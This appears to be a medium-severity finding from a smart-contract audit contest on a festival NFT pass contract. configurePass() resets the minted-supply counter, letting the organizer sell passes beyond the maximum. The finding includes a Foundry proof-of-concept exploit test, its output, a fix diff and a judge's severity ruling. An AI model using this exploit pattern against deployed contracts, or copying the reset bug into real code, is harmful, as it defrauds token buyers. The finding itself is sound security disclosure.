Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Supply Counter Reset Vulnerability Enables Unlimited Pass Minting and ETH Extraction

Root + Impact

Description

  • The configurePass() function is designed to allow the organizer to set initial parameters for festival pass types, including price and maximum supply limits. Under normal operation, once the maximum supply is reached for a pass type, no additional passes of that type should be mintable, protecting the tokenomics and preventing oversupply.

  • However, the configurePass() function unconditionally resets the passSupply[passId] counter to zero on line 67, regardless of how many passes have already been minted. This allows a malicious organizer to bypass maximum supply restrictions by simply calling configurePass() again with the same parameters, resetting the supply counter while keeping the maximum supply limit unchanged, enabling unlimited pass minting and ETH extraction beyond the intended tokenomics.

function configurePass(
uint256 passId,
uint256 price,
uint256 maxSupply
) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
@> passSupply[passId] = 0; // Reset current supply
}

The vulnerability exists in the unconditional reset of passSupply[passId] = 0 within the configurePass() function. This line resets the current supply counter to zero every time the function is called, regardless of how many passes have already been minted, effectively erasing the supply tracking mechanism that enforces maximum supply limits.

Risk

Likelihood:

  • The vulnerability occurs whenever the organizer calls configurePass() after any passes have been sold, which is a normal administrative function that organizers are expected to use for legitimate price or supply adjustments throughout the festival lifecycle.

  • The exploit requires only a single function call from the organizer role with no special conditions, external dependencies, or complex attack setup - making it trivially executable at any time during festival operations.

Impact:

  • Direct financial loss through unlimited ETH extraction - the organizer can sell passes infinitely beyond the intended maximum supply, stealing funds that should be capped by tokenomics (demonstrated: 5x revenue extraction in PoC).

  • Complete breakdown of festival tokenomics and ecosystem trust - unlimited pass minting devalues existing passes, breaks scarcity mechanics, and violates the fundamental supply guarantees that users paid for when purchasing limited edition passes.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
/**
* @title Supply Counter Reset Vulnerability PoC
* @dev Demonstrates how organizer can exploit configurePass() to reset supply counters
* and sell unlimited passes, extracting unlimited ETH from the protocol
*
* ATTACK VECTOR:
* 1. Organizer sells passes until maxSupply reached
* 2. Organizer calls configurePass() again with same parameters
* 3. Supply counter resets to 0 while maxSupply unchanged
* 4. Organizer can now sell maxSupply MORE passes
* 5. Repeat indefinitely for unlimited ETH extraction
*/
contract SupplyResetExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public victim1;
address public victim2;
address public victim3;
address public victim4;
// VIP pass configuration for clear demonstration
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 2; // Small for easy visualization
uint256 constant VIP_PASS = 2;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
victim1 = makeAddr("victim1");
victim2 = makeAddr("victim2");
victim3 = makeAddr("victim3");
victim4 = makeAddr("victim4");
// Deploy protocol
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
// Configure VIP pass with LIMITED supply
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
// Fund victims
vm.deal(victim1, 1 ether);
vm.deal(victim2, 1 ether);
vm.deal(victim3, 1 ether);
vm.deal(victim4, 1 ether);
}
function testSupplyResetExploit() public {
console.log("=== SUPPLY COUNTER RESET VULNERABILITY EXPLOIT ===\n");
// STEP 1: Normal operations - sell to max supply
console.log("STEP 1: Normal sales to max supply");
console.log("Max Supply:", VIP_MAX_SUPPLY);
console.log("Current Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim1);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After victim1 purchase - Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim2);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After victim2 purchase - Supply:", festivalPass.passSupply(VIP_PASS));
console.log("Contract Balance:", address(festivalPass).balance);
// Verify max supply protection works
vm.prank(victim3);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log(" Max supply protection working - victim3 rejected\n");
// STEP 2: EXPLOIT - Organizer resets supply counter
console.log("STEP 2: EXPLOIT - Organizer calls configurePass() again");
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY); // Same parameters!
console.log("After configurePass call:");
console.log("Supply counter:", festivalPass.passSupply(VIP_PASS), "(RESET TO 0!)");
console.log("Max Supply:", festivalPass.passMaxSupply(VIP_PASS), "(unchanged)");
// STEP 3: Exploit continuation - sell beyond original max supply
console.log("\nSTEP 3: Now selling beyond original max supply");
vm.prank(victim3);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS); // This should have failed!
console.log("Victim3 successfully bought pass - Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim4);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("Victim4 successfully bought pass - Supply:", festivalPass.passSupply(VIP_PASS));
// STEP 4: Calculate damage
console.log("\n=== EXPLOIT RESULTS ===");
uint256 expectedRevenue = VIP_MAX_SUPPLY * VIP_PRICE; // Should be 0.2 ETH
uint256 actualRevenue = address(festivalPass).balance; // Actually 0.4 ETH
uint256 stolenFunds = actualRevenue - expectedRevenue;
console.log("Expected max revenue:", expectedRevenue);
console.log("Actual revenue:", actualRevenue);
console.log("Stolen funds:", stolenFunds);
// Count actual passes in circulation
uint256 totalPasses = festivalPass.balanceOf(victim1, VIP_PASS) +
festivalPass.balanceOf(victim2, VIP_PASS) +
festivalPass.balanceOf(victim3, VIP_PASS) +
festivalPass.balanceOf(victim4, VIP_PASS);
console.log("Passes in circulation:", totalPasses);
console.log("(should be max:", VIP_MAX_SUPPLY, ")");
// Assertions prove the exploit
assertEq(actualRevenue, expectedRevenue * 2, "Double the intended revenue extracted");
assertEq(totalPasses, VIP_MAX_SUPPLY * 2, "Double the intended passes minted");
console.log("Supply counter shows 'normal' but more passes exist");
}
function testUnlimitedRepeatedExploit() public {
console.log("=== DEMONSTRATING UNLIMITED NATURE ===\n");
uint256 rounds = 5; // Demonstrate multiple rounds
address[] memory victims = new address[](rounds * VIP_MAX_SUPPLY);
// Create victims for multiple rounds
for (uint256 i = 0; i < victims.length; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
vm.deal(victims[i], 1 ether);
}
uint256 victimIndex = 0;
for (uint256 round = 0; round < rounds; round++) {
console.log("--- Round", round + 1, "---");
// Sell to "max supply"
for (uint256 i = 0; i < VIP_MAX_SUPPLY; i++) {
vm.prank(victims[victimIndex]);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
victimIndex++;
}
console.log("Sold", VIP_MAX_SUPPLY, "passes, supply counter:", festivalPass.passSupply(VIP_PASS));
console.log("Contract balance:", address(festivalPass).balance);
// Reset for next round (except last round)
if (round < rounds - 1) {
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
console.log("Supply reset to:", festivalPass.passSupply(VIP_PASS));
}
}
uint256 expectedTotalRevenue = VIP_MAX_SUPPLY * VIP_PRICE; // Revenue for 1 round
uint256 actualTotalRevenue = address(festivalPass).balance;
console.log("\n=== FINAL DAMAGE ===");
console.log("Legitimate revenue (1 round):", expectedTotalRevenue);
console.log("Actual revenue extracted:", actualTotalRevenue);
console.log("Multiplier:", actualTotalRevenue / expectedTotalRevenue);
assertEq(actualTotalRevenue, rounds * expectedTotalRevenue, "Revenue scales with exploit rounds");
}
}
forge test --match-contract SupplyResetExploitPoC -vv
[⠰] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 437.07ms
Compiler run successful!
Ran 2 tests for test/SupplyResetExploit.t.sol:SupplyResetExploitPoC
[PASS] testSupplyResetExploit() (gas: 392382)
Logs:
=== SUPPLY COUNTER RESET VULNERABILITY EXPLOIT ===
STEP 1: Normal sales to max supply
Max Supply: 2
Current Supply: 0
After victim1 purchase - Supply: 1
After victim2 purchase - Supply: 2
Contract Balance: 200000000000000000
Max supply protection working - victim3 rejected
STEP 2: EXPLOIT - Organizer calls configurePass() again
After configurePass call:
Supply counter: 0 (RESET TO 0!)
Max Supply: 2 (unchanged)
STEP 3: Now selling beyond original max supply
Victim3 successfully bought pass - Supply: 1
Victim4 successfully bought pass - Supply: 2
=== EXPLOIT RESULTS ===
Expected max revenue: 200000000000000000
Actual revenue: 400000000000000000
Stolen funds: 200000000000000000
Passes in circulation: 4
(should be max: 2 )
Supply counter shows 'normal' but more passes exist
[PASS] testUnlimitedRepeatedExploit() (gas: 807179)
Logs:
=== DEMONSTRATING UNLIMITED NATURE ===
--- Round 1 ---
Sold 2 passes, supply counter: 2
Contract balance: 200000000000000000
Supply reset to: 0
--- Round 2 ---
Sold 2 passes, supply counter: 2
Contract balance: 400000000000000000
Supply reset to: 0
--- Round 3 ---
Sold 2 passes, supply counter: 2
Contract balance: 600000000000000000
Supply reset to: 0
--- Round 4 ---
Sold 2 passes, supply counter: 2
Contract balance: 800000000000000000
Supply reset to: 0
--- Round 5 ---
Sold 2 passes, supply counter: 2
Contract balance: 1000000000000000000
=== FINAL DAMAGE ===
Legitimate revenue (1 round): 200000000000000000
Actual revenue extracted: 1000000000000000000
Multiplier: 5
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.04ms (2.89ms CPU time)
Ran 1 test suite in 39.84ms (6.04ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Recommended Mitigation

The fix removes the unconditional supply counter reset that enables the vulnerability. The added validation ensures that if the organizer needs to adjust the maximum supply, they can only increase it (not decrease it below already-minted passes), maintaining supply tracking integrity. This preserves the intended tokenomics while allowing legitimate administrative adjustments to pricing and supply expansion when needed.

function configurePass(
uint256 passId,
uint256 price,
uint256 maxSupply
) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
+ require(maxSupply >= passSupply[passId], "Cannot set maxSupply below current supply");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
- passSupply[passId] = 0; // Reset current supply
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

configurePass resets the current pass supply circumventing the max supply check

This is not acceptable as high because any attack vectors related to organizer trying to milk ETH from participants is voided by the fact that the organizer is trusted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.